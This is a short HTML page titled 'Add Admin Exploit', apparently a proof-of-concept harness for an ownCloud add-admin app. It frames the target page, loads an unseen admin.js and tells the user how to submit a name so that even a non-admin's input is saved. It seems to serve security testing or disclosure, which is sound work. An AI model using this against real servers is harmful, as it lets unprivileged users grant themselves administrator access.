<html>
<head>
	<title>Add Admin Exploit</title>
</head>
<body>
	<script src="admin.js"></script>
	<p>Fill in any name here: <input id="name" type="text" /> <input type="button" onclick="fillUid()" value="Fill in" /> then <a href="#" onclick="reloadFrame()">reload the frame</a> to see result.</p>
	<p>If you are not admin, the app will redirect you to main page after submitting, but your input is still saved. <a href="#" onclick="revisit()">Revisit the add admin page</a>.</p>
	<iframe id="source" src="http://www.owncloud1.com/owncloud/apps/add_admin/" width="100%" height="100%"></iframe>
</body>
</html>
